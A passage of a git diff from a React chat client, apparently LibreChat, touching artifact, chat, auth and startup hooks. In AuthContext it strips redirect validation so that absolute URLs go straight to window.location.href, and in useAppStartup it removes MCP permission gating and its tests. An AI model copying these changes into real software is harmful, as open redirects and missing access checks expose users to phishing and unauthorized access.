+ it('should include App.tsx with wrapped markdown renderer', () => {
const artifact = createArtifact({
type: 'text/markdown',
content: '# Test',
@@ -54,8 +54,8 @@ describe('useArtifactProps', () => {
const { result } = renderHook(() => useArtifactProps({ artifact }));
- expect(result.current.files['index.html']).toContain('');
- expect(result.current.files['index.html']).toContain('marked.parse');
+ expect(result.current.files['App.tsx']).toContain('MarkdownRenderer');
+ expect(result.current.files['App.tsx']).toContain('import React from');
});
it('should include all required markdown files', () => {
@@ -66,8 +66,12 @@ describe('useArtifactProps', () => {
const { result } = renderHook(() => useArtifactProps({ artifact }));
+ // Check all required files are present
expect(result.current.files['content.md']).toBeDefined();
- expect(result.current.files['index.html']).toBeDefined();
+ expect(result.current.files['App.tsx']).toBeDefined();
+ expect(result.current.files['index.tsx']).toBeDefined();
+ expect(result.current.files['/components/ui/MarkdownRenderer.tsx']).toBeDefined();
+ expect(result.current.files['markdown.css']).toBeDefined();
});
it('should escape special characters in markdown content', () => {
@@ -78,11 +82,13 @@ describe('useArtifactProps', () => {
const { result } = renderHook(() => useArtifactProps({ artifact }));
+ // Original content should be preserved in content.md
expect(result.current.files['content.md']).toContain('`const x = 1;`');
expect(result.current.files['content.md']).toContain('C:\\Users');
- expect(result.current.files['index.html']).toContain('\\`');
- expect(result.current.files['index.html']).toContain('\\\\');
+ // App.tsx should have escaped content
+ expect(result.current.files['App.tsx']).toContain('\\`');
+ expect(result.current.files['App.tsx']).toContain('\\\\');
});
it('should handle empty markdown content', () => {
@@ -106,7 +112,7 @@ describe('useArtifactProps', () => {
expect(result.current.files['content.md']).toBe('# No content provided');
});
- it('should have no custom dependencies for markdown (uses CDN)', () => {
+ it('should provide marked-react dependency', () => {
const artifact = createArtifact({
type: 'text/markdown',
content: '# Test',
@@ -114,8 +120,7 @@ describe('useArtifactProps', () => {
const { result } = renderHook(() => useArtifactProps({ artifact }));
- const deps = result.current.sharedProps.customSetup?.dependencies ?? {};
- expect(deps).toEqual({});
+ expect(result.current.sharedProps.customSetup?.dependencies).toHaveProperty('marked-react');
});
it('should update files when content changes', () => {
@@ -130,6 +135,7 @@ describe('useArtifactProps', () => {
expect(result.current.files['content.md']).toBe('# Original');
+ // Update the artifact content
const updatedArtifact = createArtifact({
...artifact,
content: '# Updated',
@@ -193,6 +199,8 @@ describe('useArtifactProps', () => {
const { result } = renderHook(() => useArtifactProps({ artifact }));
+ // Language parameter should not affect markdown handling
+ // It checks the type directly, not the key
expect(result.current.fileKey).toBe('content.md');
expect(result.current.files['content.md']).toBe('# Test');
});
@@ -204,6 +212,7 @@ describe('useArtifactProps', () => {
const { result } = renderHook(() => useArtifactProps({ artifact }));
+ // Should use default behavior
expect(result.current.template).toBe('static');
});
});
diff --git a/client/src/hooks/Artifacts/useArtifactProps.ts b/client/src/hooks/Artifacts/useArtifactProps.ts
index ce5e30cf5a..2b898934c4 100644
--- a/client/src/hooks/Artifacts/useArtifactProps.ts
+++ b/client/src/hooks/Artifacts/useArtifactProps.ts
@@ -1,21 +1,17 @@
-import { useContext, useMemo } from 'react';
-import { ThemeContext, isDark } from '@librechat/client';
+import { useMemo } from 'react';
import { removeNullishValues } from 'librechat-data-provider';
import type { Artifact } from '~/common';
import { getKey, getProps, getTemplate, getArtifactFilename } from '~/utils/artifacts';
-import { getMarkdownFiles } from '~/utils/markdown';
import { getMermaidFiles } from '~/utils/mermaid';
+import { getMarkdownFiles } from '~/utils/markdown';
export default function useArtifactProps({ artifact }: { artifact: Artifact }) {
- const { theme } = useContext(ThemeContext);
- const isDarkMode = isDark(theme);
-
const [fileKey, files] = useMemo(() => {
const key = getKey(artifact.type ?? '', artifact.language);
const type = artifact.type ?? '';
if (key.includes('mermaid')) {
- return ['diagram.mmd', getMermaidFiles(artifact.content ?? '', isDarkMode)];
+ return ['diagram.mmd', getMermaidFiles(artifact.content ?? '')];
}
if (type === 'text/markdown' || type === 'text/md' || type === 'text/plain') {
@@ -27,7 +23,7 @@ export default function useArtifactProps({ artifact }: { artifact: Artifact }) {
[fileKey]: artifact.content,
});
return [fileKey, files];
- }, [artifact.type, artifact.content, artifact.language, isDarkMode]);
+ }, [artifact.type, artifact.content, artifact.language]);
const template = useMemo(
() => getTemplate(artifact.type ?? '', artifact.language),
diff --git a/client/src/hooks/Artifacts/useAutoScroll.ts b/client/src/hooks/Artifacts/useAutoScroll.ts
new file mode 100644
index 0000000000..1ddb9feb98
--- /dev/null
+++ b/client/src/hooks/Artifacts/useAutoScroll.ts
@@ -0,0 +1,47 @@
+// hooks/useAutoScroll.ts
+import { useEffect, useState } from 'react';
+
+interface UseAutoScrollProps {
+ ref: React.RefObject;
+ content: string;
+ isSubmitting: boolean;
+}
+
+export const useAutoScroll = ({ ref, content, isSubmitting }: UseAutoScrollProps) => {
+ const [userScrolled, setUserScrolled] = useState(false);
+
+ useEffect(() => {
+ const scrollContainer = ref.current;
+ if (!scrollContainer) {
+ return;
+ }
+
+ const handleScroll = () => {
+ const { scrollTop, scrollHeight, clientHeight } = scrollContainer;
+ const isNearBottom = scrollHeight - scrollTop - clientHeight < 50;
+
+ if (!isNearBottom) {
+ setUserScrolled(true);
+ } else {
+ setUserScrolled(false);
+ }
+ };
+
+ scrollContainer.addEventListener('scroll', handleScroll);
+
+ return () => {
+ scrollContainer.removeEventListener('scroll', handleScroll);
+ };
+ }, [ref]);
+
+ useEffect(() => {
+ const scrollContainer = ref.current;
+ if (!scrollContainer || !isSubmitting || userScrolled) {
+ return;
+ }
+
+ scrollContainer.scrollTop = scrollContainer.scrollHeight;
+ }, [content, isSubmitting, userScrolled, ref]);
+
+ return { userScrolled };
+};
diff --git a/client/src/hooks/AuthContext.tsx b/client/src/hooks/AuthContext.tsx
index c55980c0d2..d9d583783a 100644
--- a/client/src/hooks/AuthContext.tsx
+++ b/client/src/hooks/AuthContext.tsx
@@ -3,6 +3,7 @@ import {
useMemo,
useState,
useEffect,
+ ReactNode,
useContext,
useCallback,
createContext,
@@ -10,14 +11,8 @@ import {
import { debounce } from 'lodash';
import { useRecoilState } from 'recoil';
import { useNavigate } from 'react-router-dom';
-import {
- apiBaseUrl,
- SystemRoles,
- setTokenHeader,
- buildLoginRedirectUrl,
-} from 'librechat-data-provider';
+import { setTokenHeader, SystemRoles } from 'librechat-data-provider';
import type * as t from 'librechat-data-provider';
-import type { ReactNode } from 'react';
import {
useGetRole,
useGetUserQuery,
@@ -26,7 +21,6 @@ import {
useRefreshTokenMutation,
} from '~/data-provider';
import { TAuthConfig, TUserContext, TAuthContext, TResError } from '~/common';
-import { SESSION_KEY, isSafeRedirect, getPostLoginRedirect } from '~/utils';
import useTimeout from './useTimeout';
import store from '~/store';
@@ -39,12 +33,11 @@ const AuthContextProvider = ({
authConfig?: TAuthConfig;
children: ReactNode;
}) => {
- const isExternalRedirectRef = useRef(false);
const [user, setUser] = useRecoilState(store.user);
- const logoutRedirectRef = useRef(undefined);
const [token, setToken] = useState(undefined);
const [error, setError] = useState(undefined);
const [isAuthenticated, setIsAuthenticated] = useState(false);
+ const logoutRedirectRef = useRef(undefined);
const { data: userRole = null } = useGetRole(SystemRoles.USER, {
enabled: !!(isAuthenticated && (user?.role ?? '')),
@@ -61,25 +54,24 @@ const AuthContextProvider = ({
const { token, isAuthenticated, user, redirect } = userContext;
setUser(user);
setToken(token);
+ //@ts-ignore - ok for token to be undefined initially
setTokenHeader(token);
setIsAuthenticated(isAuthenticated);
- const searchParams = new URLSearchParams(window.location.search);
- const postLoginRedirect = getPostLoginRedirect(searchParams);
-
- const logoutRedirect = logoutRedirectRef.current;
+ // Use a custom redirect if set
+ const finalRedirect = logoutRedirectRef.current || redirect;
+ // Clear the stored redirect
logoutRedirectRef.current = undefined;
- const finalRedirect =
- logoutRedirect ??
- postLoginRedirect ??
- (redirect && isSafeRedirect(redirect) ? redirect : null);
-
if (finalRedirect == null) {
return;
}
- navigate(finalRedirect, { replace: true });
+ if (finalRedirect.startsWith('http://') || finalRedirect.startsWith('https://')) {
+ window.location.href = finalRedirect;
+ } else {
+ navigate(finalRedirect, { replace: true });
+ }
}, 50),
[navigate, setUser],
);
@@ -89,6 +81,7 @@ const AuthContextProvider = ({
onSuccess: (data: t.TLoginResponse) => {
const { user, token, twoFAPending, tempToken } = data;
if (twoFAPending) {
+ // Redirect to the two-factor authentication route.
navigate(`/login/2fa?tempToken=${tempToken}`, { replace: true });
return;
}
@@ -98,34 +91,16 @@ const AuthContextProvider = ({
onError: (error: TResError | unknown) => {
const resError = error as TResError;
doSetError(resError.message);
- // Preserve a valid redirect_to across login failures so the deep link survives retries.
- // Cannot use buildLoginRedirectUrl() here — it reads the current pathname (already /login)
- // and would return plain /login, dropping the redirect_to destination.
- const redirectTo = new URLSearchParams(window.location.search).get('redirect_to');
- const loginPath =
- redirectTo && isSafeRedirect(redirectTo)
- ? `/login?redirect_to=${encodeURIComponent(redirectTo)}`
- : '/login';
- navigate(loginPath, { replace: true });
+ navigate('/login', { replace: true });
},
});
const logoutUser = useLogoutUserMutation({
onSuccess: (data) => {
- if (data.redirect) {
- /** data.redirect is the IdP's end_session_endpoint URL — an absolute URL generated
- * server-side from trusted IdP metadata (not user input), so isSafeRedirect is bypassed.
- * setUserContext is debounced (50ms) and won't fire before page unload, so clear the
- * axios Authorization header synchronously to prevent in-flight requests. */
- isExternalRedirectRef.current = true;
- setTokenHeader(undefined);
- window.location.replace(data.redirect);
- return;
- }
setUserContext({
token: undefined,
isAuthenticated: false,
user: undefined,
- redirect: '/login',
+ redirect: data.redirect ?? '/login',
});
},
onError: (error) => {
@@ -161,60 +136,35 @@ const AuthContextProvider = ({
console.log('Test mode. Skipping silent refresh.');
return;
}
- if (isExternalRedirectRef.current) {
- return;
- }
refreshToken.mutate(undefined, {
onSuccess: (data: t.TRefreshTokenResponse | undefined) => {
- if (isExternalRedirectRef.current) {
- return;
- }
const { user, token = '' } = data ?? {};
if (token) {
- const storedRedirect = sessionStorage.getItem(SESSION_KEY);
- sessionStorage.removeItem(SESSION_KEY);
- const baseUrl = apiBaseUrl();
- const rawPath = window.location.pathname;
- const strippedPath =
- baseUrl && (rawPath === baseUrl || rawPath.startsWith(baseUrl + '/'))
- ? rawPath.slice(baseUrl.length) || '/'
- : rawPath;
- const currentUrl = `${strippedPath}${window.location.search}`;
- const fallbackRedirect = isSafeRedirect(currentUrl) ? currentUrl : '/c/new';
- const redirect =
- storedRedirect && isSafeRedirect(storedRedirect) ? storedRedirect : fallbackRedirect;
- setUserContext({ user, token, isAuthenticated: true, redirect });
- return;
+ setUserContext({ token, isAuthenticated: true, user });
+ } else {
+ console.log('Token is not present. User is not authenticated.');
+ if (authConfig?.test === true) {
+ return;
+ }
+ navigate('/login');
}
- console.log('Token is not present. User is not authenticated.');
- if (authConfig?.test === true) {
- return;
- }
- navigate(buildLoginRedirectUrl());
},
onError: (error) => {
- if (isExternalRedirectRef.current) {
- return;
- }
console.log('refreshToken mutation error:', error);
if (authConfig?.test === true) {
return;
}
- navigate(buildLoginRedirectUrl());
+ navigate('/login');
},
});
- // eslint-disable-next-line react-hooks/exhaustive-deps -- deps are stable at mount; adding refreshToken causes infinite re-fire
}, []);
useEffect(() => {
- if (isExternalRedirectRef.current) {
- return;
- }
if (userQuery.data) {
setUser(userQuery.data);
} else if (userQuery.isError) {
doSetError((userQuery.error as Error).message);
- navigate(buildLoginRedirectUrl(), { replace: true });
+ navigate('/login', { replace: true });
}
if (error != null && error && isAuthenticated) {
doSetError(undefined);
@@ -236,22 +186,24 @@ const AuthContextProvider = ({
]);
useEffect(() => {
- const handleTokenUpdate = (event: CustomEvent) => {
+ const handleTokenUpdate = (event) => {
console.log('tokenUpdated event received event');
+ const newToken = event.detail;
setUserContext({
- token: event.detail,
+ token: newToken,
isAuthenticated: true,
user: user,
});
};
- window.addEventListener('tokenUpdated', handleTokenUpdate as EventListener);
+ window.addEventListener('tokenUpdated', handleTokenUpdate);
return () => {
- window.removeEventListener('tokenUpdated', handleTokenUpdate as EventListener);
+ window.removeEventListener('tokenUpdated', handleTokenUpdate);
};
}, [setUserContext, user]);
+ // Make the provider update only when it should
const memoedValue = useMemo(
() => ({
user,
diff --git a/client/src/hooks/Chat/__tests__/useFocusChatEffect.spec.tsx b/client/src/hooks/Chat/__tests__/useFocusChatEffect.spec.tsx
index ba83b0aeb5..e0dbac5a1e 100644
--- a/client/src/hooks/Chat/__tests__/useFocusChatEffect.spec.tsx
+++ b/client/src/hooks/Chat/__tests__/useFocusChatEffect.spec.tsx
@@ -39,12 +39,14 @@ describe('useFocusChatEffect', () => {
state: { focusChat: true },
});
- // Set default window.location
- window.history.replaceState({}, '', '/c/new');
- });
-
- afterEach(() => {
- window.history.replaceState({}, '', '/');
+ // Mock window.location
+ Object.defineProperty(window, 'location', {
+ value: {
+ pathname: '/c/new',
+ search: '',
+ },
+ writable: true,
+ });
});
describe('Basic functionality', () => {
@@ -113,7 +115,14 @@ describe('useFocusChatEffect', () => {
testDescription: string;
}) => {
test(`${testDescription}`, () => {
- window.history.replaceState({}, '', `/c/new${windowLocationSearch}`);
+ // Mock window.location
+ Object.defineProperty(window, 'location', {
+ value: {
+ pathname: '/c/new',
+ search: windowLocationSearch,
+ },
+ writable: true,
+ });
// Mock React Router's location
(useLocation as jest.Mock).mockReturnValue({
@@ -135,7 +144,13 @@ describe('useFocusChatEffect', () => {
};
test('should use window.location.search instead of location.search', () => {
- window.history.replaceState({}, '', '/c/new?agent_id=test_agent_id');
+ Object.defineProperty(window, 'location', {
+ value: {
+ pathname: '/c/new',
+ search: '?agent_id=test_agent_id',
+ },
+ writable: true,
+ });
(useLocation as jest.Mock).mockReturnValue({
pathname: '/c/new',
@@ -208,7 +223,13 @@ describe('useFocusChatEffect', () => {
});
test('should handle navigation immediately after URL parameter changes', () => {
- window.history.replaceState({}, '', '/c/new?endpoint=openAI&model=gpt-4');
+ Object.defineProperty(window, 'location', {
+ value: {
+ pathname: '/c/new',
+ search: '?endpoint=openAI&model=gpt-4',
+ },
+ writable: true,
+ });
(useLocation as jest.Mock).mockReturnValue({
pathname: '/c/new',
@@ -228,7 +249,13 @@ describe('useFocusChatEffect', () => {
jest.clearAllMocks();
- window.history.replaceState({}, '', '/c/new?agent_id=agent123');
+ Object.defineProperty(window, 'location', {
+ value: {
+ pathname: '/c/new',
+ search: '?agent_id=agent123',
+ },
+ writable: true,
+ });
(useLocation as jest.Mock).mockReturnValue({
pathname: '/c/new_changed',
@@ -248,7 +275,13 @@ describe('useFocusChatEffect', () => {
});
test('should handle undefined or null search params gracefully', () => {
- window.history.replaceState({}, '', '/c/new');
+ Object.defineProperty(window, 'location', {
+ value: {
+ pathname: '/c/new',
+ search: undefined,
+ },
+ writable: true,
+ });
(useLocation as jest.Mock).mockReturnValue({
pathname: '/c/new',
@@ -268,6 +301,14 @@ describe('useFocusChatEffect', () => {
jest.clearAllMocks();
+ Object.defineProperty(window, 'location', {
+ value: {
+ pathname: '/c/new',
+ search: null,
+ },
+ writable: true,
+ });
+
(useLocation as jest.Mock).mockReturnValue({
pathname: '/c/new',
search: null,
@@ -286,7 +327,13 @@ describe('useFocusChatEffect', () => {
});
test('should handle navigation when location.state is null', () => {
- window.history.replaceState({}, '', '/c/new?agent_id=agent123');
+ Object.defineProperty(window, 'location', {
+ value: {
+ pathname: '/c/new',
+ search: '?agent_id=agent123',
+ },
+ writable: true,
+ });
(useLocation as jest.Mock).mockReturnValue({
pathname: '/c/new',
@@ -301,7 +348,13 @@ describe('useFocusChatEffect', () => {
});
test('should handle navigation when location.state.focusChat is undefined', () => {
- window.history.replaceState({}, '', '/c/new?agent_id=agent123');
+ Object.defineProperty(window, 'location', {
+ value: {
+ pathname: '/c/new',
+ search: '?agent_id=agent123',
+ },
+ writable: true,
+ });
(useLocation as jest.Mock).mockReturnValue({
pathname: '/c/new',
@@ -316,7 +369,13 @@ describe('useFocusChatEffect', () => {
});
test('should handle navigation when both search params are empty', () => {
- window.history.replaceState({}, '', '/c/new');
+ Object.defineProperty(window, 'location', {
+ value: {
+ pathname: '/c/new',
+ search: '',
+ },
+ writable: true,
+ });
(useLocation as jest.Mock).mockReturnValue({
pathname: '/c/new',
diff --git a/client/src/hooks/Chat/useChatHelpers.ts b/client/src/hooks/Chat/useChatHelpers.ts
index 219c370418..46d38d3a4d 100644
--- a/client/src/hooks/Chat/useChatHelpers.ts
+++ b/client/src/hooks/Chat/useChatHelpers.ts
@@ -1,11 +1,12 @@
-import { useCallback, useMemo, useRef, useState } from 'react';
+import { useCallback, useState } from 'react';
import { QueryKeys, isAssistantsEndpoint } from 'librechat-data-provider';
import { useQueryClient } from '@tanstack/react-query';
import { useRecoilState, useResetRecoilState, useSetRecoilState } from 'recoil';
import type { TMessage } from 'librechat-data-provider';
import type { ActiveJobsResponse } from '~/data-provider';
+import { useGetMessagesByConvoId, useAbortStreamMutation } from '~/data-provider';
import useChatFunctions from '~/hooks/Chat/useChatFunctions';
-import { useAbortStreamMutation } from '~/data-provider';
+import { useAuthContext } from '~/hooks/AuthContext';
import useNewConvo from '~/hooks/useNewConvo';
import store from '~/store';
@@ -16,6 +17,7 @@ export default function useChatHelpers(index = 0, paramId?: string) {
const [filesLoading, setFilesLoading] = useState(false);
const queryClient = useQueryClient();
+ const { isAuthenticated } = useAuthContext();
const abortMutation = useAbortStreamMutation();
const { newConversation } = useNewConvo(index);
@@ -27,15 +29,15 @@ export default function useChatHelpers(index = 0, paramId?: string) {
Falling back to conversationId (Recoil) only if paramId is not available */
const queryParam = paramId === 'new' ? paramId : (paramId ?? conversationId ?? '');
+ /* Messages: here simply to fetch, don't export and use `getMessages()` instead */
+
+ const { data: _messages } = useGetMessagesByConvoId(queryParam, {
+ enabled: isAuthenticated,
+ });
+
const resetLatestMessage = useResetRecoilState(store.latestMessageFamily(index));
const [isSubmitting, setIsSubmitting] = useRecoilState(store.isSubmittingFamily(index));
const [latestMessage, setLatestMessage] = useRecoilState(store.latestMessageFamily(index));
-
- const latestMessageId = latestMessage?.messageId;
- const latestMessageDepth = latestMessage?.depth;
- const latestMessageRef = useRef(latestMessage);
- latestMessageRef.current = latestMessage;
-
const setSiblingIdx = useSetRecoilState(
store.messagesSiblingIdxFamily(latestMessage?.parentMessageId ?? null),
);
@@ -75,7 +77,7 @@ export default function useChatHelpers(index = 0, paramId?: string) {
const setSubmission = useSetRecoilState(store.submissionByIndex(index));
- const { ask: _ask, regenerate: _regenerate } = useChatFunctions({
+ const { ask, regenerate } = useChatFunctions({
index,
files,
setFiles,
@@ -88,20 +90,8 @@ export default function useChatHelpers(index = 0, paramId?: string) {
setLatestMessage,
});
- const askRef = useRef(_ask);
- askRef.current = _ask;
- const ask: typeof _ask = useCallback((...args) => askRef.current(...args), []);
-
- const regenerateRef = useRef(_regenerate);
- regenerateRef.current = _regenerate;
- const regenerate: typeof _regenerate = useCallback(
- (...args) => regenerateRef.current(...args),
- [],
- );
-
- const continueGeneration = useCallback(() => {
- const currentLatest = latestMessageRef.current;
- if (!currentLatest) {
+ const continueGeneration = () => {
+ if (!latestMessage) {
console.error('Failed to regenerate the message: latestMessage not found.');
return;
}
@@ -109,7 +99,7 @@ export default function useChatHelpers(index = 0, paramId?: string) {
const messages = getMessages();
const parentMessage = messages?.find(
- (element) => element.messageId == currentLatest.parentMessageId,
+ (element) => element.messageId == latestMessage.parentMessageId,
);
if (parentMessage && parentMessage.isCreatedByUser) {
@@ -119,7 +109,7 @@ export default function useChatHelpers(index = 0, paramId?: string) {
'Failed to regenerate the message: parentMessage not found, or not created by user.',
);
}
- }, [getMessages, ask]);
+ };
/**
* Stop generation - for non-assistants endpoints, calls abort endpoint first.
@@ -163,107 +153,64 @@ export default function useChatHelpers(index = 0, paramId?: string) {
}
}, [conversationId, endpoint, endpointType, abortMutation, clearAllSubmissions, queryClient]);
- const handleStopGenerating = useCallback(
- (e: React.MouseEvent) => {
- e.preventDefault();
- stopGenerating();
- },
- [stopGenerating],
- );
+ const handleStopGenerating = (e: React.MouseEvent) => {
+ e.preventDefault();
+ stopGenerating();
+ };
- const handleRegenerate = useCallback(
- (e: React.MouseEvent) => {
- e.preventDefault();
- const parentMessageId = latestMessageRef.current?.parentMessageId ?? '';
- if (!parentMessageId) {
- console.error('Failed to regenerate the message: parentMessageId not found.');
- return;
- }
- regenerate({ parentMessageId });
- },
- [regenerate],
- );
+ const handleRegenerate = (e: React.MouseEvent) => {
+ e.preventDefault();
+ const parentMessageId = latestMessage?.parentMessageId ?? '';
+ if (!parentMessageId) {
+ console.error('Failed to regenerate the message: parentMessageId not found.');
+ return;
+ }
+ regenerate({ parentMessageId });
+ };
- const handleContinue = useCallback(
- (e: React.MouseEvent) => {
- e.preventDefault();
- continueGeneration();
- setSiblingIdx(0);
- },
- [continueGeneration, setSiblingIdx],
- );
+ const handleContinue = (e: React.MouseEvent) => {
+ e.preventDefault();
+ continueGeneration();
+ setSiblingIdx(0);
+ };
const [preset, setPreset] = useRecoilState(store.presetByIndex(index));
const [showPopover, setShowPopover] = useRecoilState(store.showPopoverFamily(index));
const [abortScroll, setAbortScroll] = useRecoilState(store.abortScrollFamily(index));
const [optionSettings, setOptionSettings] = useRecoilState(store.optionSettingsFamily(index));
- return useMemo(
- () => ({
- newConversation,
- conversation,
- setConversation,
- isSubmitting,
- setIsSubmitting,
- getMessages,
- setMessages,
- setSiblingIdx,
- latestMessageId,
- latestMessageDepth,
- setLatestMessage,
- resetLatestMessage,
- ask,
- index,
- regenerate,
- stopGenerating,
- handleStopGenerating,
- handleRegenerate,
- handleContinue,
- showPopover,
- setShowPopover,
- abortScroll,
- setAbortScroll,
- preset,
- setPreset,
- optionSettings,
- setOptionSettings,
- files,
- setFiles,
- filesLoading,
- setFilesLoading,
- }),
- [
- newConversation,
- conversation,
- setConversation,
- isSubmitting,
- setIsSubmitting,
- getMessages,
- setMessages,
- setSiblingIdx,
- latestMessageId,
- latestMessageDepth,
- setLatestMessage,
- resetLatestMessage,
- ask,
- index,
- regenerate,
- stopGenerating,
- handleStopGenerating,
- handleRegenerate,
- handleContinue,
- showPopover,
- setShowPopover,
- abortScroll,
- setAbortScroll,
- preset,
- setPreset,
- optionSettings,
- setOptionSettings,
- files,
- setFiles,
- filesLoading,
- setFilesLoading,
- ],
- );
+ return {
+ newConversation,
+ conversation,
+ setConversation,
+ // getConvos,
+ // setConvos,
+ isSubmitting,
+ setIsSubmitting,
+ getMessages,
+ setMessages,
+ setSiblingIdx,
+ latestMessage,
+ setLatestMessage,
+ resetLatestMessage,
+ ask,
+ index,
+ regenerate,
+ stopGenerating,
+ handleStopGenerating,
+ handleRegenerate,
+ handleContinue,
+ showPopover,
+ setShowPopover,
+ abortScroll,
+ setAbortScroll,
+ preset,
+ setPreset,
+ optionSettings,
+ setOptionSettings,
+ files,
+ setFiles,
+ filesLoading,
+ setFilesLoading,
+ };
}
diff --git a/client/src/hooks/Config/__tests__/useAppStartup.spec.tsx b/client/src/hooks/Config/__tests__/useAppStartup.spec.tsx
deleted file mode 100644
index eef2795a76..0000000000
--- a/client/src/hooks/Config/__tests__/useAppStartup.spec.tsx
+++ /dev/null
@@ -1,123 +0,0 @@
-import React from 'react';
-import { RecoilRoot } from 'recoil';
-import { renderHook } from '@testing-library/react';
-import { PermissionTypes, Permissions } from 'librechat-data-provider';
-import type { TUser } from 'librechat-data-provider';
-
-const mockUseHasAccess = jest.fn();
-const mockUseMCPServersQuery = jest.fn();
-const mockUseMCPToolsQuery = jest.fn();
-
-jest.mock('~/hooks', () => ({
- useHasAccess: (args: unknown) => mockUseHasAccess(args),
-}));
-
-jest.mock('~/data-provider', () => ({
- useMCPServersQuery: (config: unknown) => mockUseMCPServersQuery(config),
- useMCPToolsQuery: (config: unknown) => mockUseMCPToolsQuery(config),
-}));
-
-jest.mock('../useSpeechSettingsInit', () => ({
- __esModule: true,
- default: jest.fn(),
-}));
-
-jest.mock('~/utils/timestamps', () => ({
- cleanupTimestampedStorage: jest.fn(),
-}));
-
-jest.mock('react-gtm-module', () => ({
- __esModule: true,
- default: { initialize: jest.fn() },
-}));
-
-import useAppStartup from '../useAppStartup';
-
-const mockUser = {
- id: 'user-123',
- username: 'testuser',
- email: 'test@example.com',
- name: 'Test User',
- avatar: '',
- role: 'USER',
- provider: 'local',
- emailVerified: true,
- createdAt: '2023-01-01T00:00:00.000Z',
- updatedAt: '2023-01-01T00:00:00.000Z',
-} as TUser;
-
-const wrapper: React.FC<{ children: React.ReactNode }> = ({ children }) => (
- {children}
-);
-
-describe('useAppStartup — MCP permission gating', () => {
- beforeEach(() => {
- mockUseMCPServersQuery.mockReturnValue({ data: undefined, isLoading: false });
- mockUseMCPToolsQuery.mockReturnValue({ data: undefined, isLoading: false });
- });
-
- it('checks the MCP_SERVERS.USE permission via useHasAccess', () => {
- mockUseHasAccess.mockReturnValue(false);
-
- renderHook(() => useAppStartup({ startupConfig: undefined, user: mockUser }), { wrapper });
-
- expect(mockUseHasAccess).toHaveBeenCalledWith({
- permissionType: PermissionTypes.MCP_SERVERS,
- permission: Permissions.USE,
- });
- });
-
- it('suppresses all MCP queries when user lacks MCP_SERVERS.USE', () => {
- mockUseHasAccess.mockReturnValue(false);
-
- renderHook(() => useAppStartup({ startupConfig: undefined, user: mockUser }), { wrapper });
-
- expect(mockUseMCPServersQuery).toHaveBeenCalledWith({ enabled: false });
- expect(mockUseMCPToolsQuery).toHaveBeenCalledWith({ enabled: false });
- });
-
- it('enables servers query and tools query when permission granted, servers loaded, and user present', () => {
- mockUseHasAccess.mockReturnValue(true);
- mockUseMCPServersQuery.mockReturnValue({
- data: { 'test-server': { url: 'http://test' } },
- isLoading: false,
- });
-
- renderHook(() => useAppStartup({ startupConfig: undefined, user: mockUser }), { wrapper });
-
- expect(mockUseMCPServersQuery).toHaveBeenCalledWith({ enabled: true });
- expect(mockUseMCPToolsQuery).toHaveBeenCalledWith({ enabled: true });
- });
-
- it('suppresses tools query when permission granted but user prop is undefined', () => {
- mockUseHasAccess.mockReturnValue(true);
- mockUseMCPServersQuery.mockReturnValue({
- data: { 'test-server': { url: 'http://test' } },
- isLoading: false,
- });
-
- renderHook(() => useAppStartup({ startupConfig: undefined, user: undefined }), { wrapper });
-
- expect(mockUseMCPServersQuery).toHaveBeenCalledWith({ enabled: true });
- expect(mockUseMCPToolsQuery).toHaveBeenCalledWith({ enabled: false });
- });
-
- it('suppresses tools query when permission granted but no servers loaded', () => {
- mockUseHasAccess.mockReturnValue(true);
- mockUseMCPServersQuery.mockReturnValue({ data: {}, isLoading: false });
-
- renderHook(() => useAppStartup({ startupConfig: undefined, user: mockUser }), { wrapper });
-
- expect(mockUseMCPServersQuery).toHaveBeenCalledWith({ enabled: true });
- expect(mockUseMCPToolsQuery).toHaveBeenCalledWith({ enabled: false });
- });
-
- it('suppresses tools query while servers are still loading', () => {
- mockUseHasAccess.mockReturnValue(true);
- mockUseMCPServersQuery.mockReturnValue({ data: undefined, isLoading: true });
-
- renderHook(() => useAppStartup({ startupConfig: undefined, user: mockUser }), { wrapper });
-
- expect(mockUseMCPToolsQuery).toHaveBeenCalledWith({ enabled: false });
- });
-});
diff --git a/client/src/hooks/Config/useAppStartup.ts b/client/src/hooks/Config/useAppStartup.ts
index f40b283ee2..52b4325eea 100644
--- a/client/src/hooks/Config/useAppStartup.ts
+++ b/client/src/hooks/Config/useAppStartup.ts
@@ -1,12 +1,11 @@
import { useEffect } from 'react';
import { useRecoilState } from 'recoil';
import TagManager from 'react-gtm-module';
-import { LocalStorageKeys, PermissionTypes, Permissions } from 'librechat-data-provider';
+import { LocalStorageKeys } from 'librechat-data-provider';
import type { TStartupConfig, TUser } from 'librechat-data-provider';
-import { useMCPToolsQuery, useMCPServersQuery } from '~/data-provider';
import { cleanupTimestampedStorage } from '~/utils/timestamps';
import useSpeechSettingsInit from './useSpeechSettingsInit';
-import { useHasAccess } from '~/hooks';
+import { useMCPToolsQuery, useMCPServersQuery } from '~/data-provider';
import store from '~/store';
export default function useAppStartup({
@@ -17,23 +16,12 @@ export default function useAppStartup({
user?: TUser;
}) {
const [defaultPreset, setDefaultPreset] = useRecoilState(store.defaultPreset);
- const canUseMcp = useHasAccess({
- permissionType: PermissionTypes.MCP_SERVERS,
- permission: Permissions.USE,
- });
useSpeechSettingsInit(!!user);
- const { data: loadedServers, isLoading: serversLoading } = useMCPServersQuery({
- enabled: canUseMcp,
- });
+ const { data: loadedServers, isLoading: serversLoading } = useMCPServersQuery();
useMCPToolsQuery({
- enabled:
- canUseMcp &&
- !serversLoading &&
- !!loadedServers &&
- Object.keys(loadedServers).length > 0 &&
- !!user,
+ enabled: !serversLoading && !!loadedServers && Object.keys(loadedServers).length > 0 && !!user,
});
/** Clean up old localStorage entries on startup */
diff --git a/client/src/hooks/Conversations/index.ts b/client/src/hooks/Conversations/index.ts
index 2659ace457..6c35ad5da9 100644
--- a/client/src/hooks/Conversations/index.ts
+++ b/client/src/hooks/Conversations/index.ts
@@ -4,7 +4,6 @@ export { default as useDefaultConvo } from './useDefaultConvo';
export { default as useSearchEnabled } from './useSearchEnabled';
export { default as useGenerateConvo } from './useGenerateConvo';
export { default as useDebouncedInput } from './useDebouncedInput';
-export { default as useGetConversation } from './useGetConversation';
export { default as useBookmarkSuccess } from './useBookmarkSuccess';
export { default as useNavigateToConvo } from './useNavigateToConvo';
export { default as useSetIndexOptions } from './useSetIndexOptions';
diff --git a/client/src/hooks/Conversations/useDefaultConvo.ts b/client/src/hooks/Conversations/useDefaultConvo.ts
index 697854924b..67a40ce64e 100644
--- a/client/src/hooks/Conversations/useDefaultConvo.ts
+++ b/client/src/hooks/Conversations/useDefaultConvo.ts
@@ -1,4 +1,3 @@
-import { useCallback } from 'react';
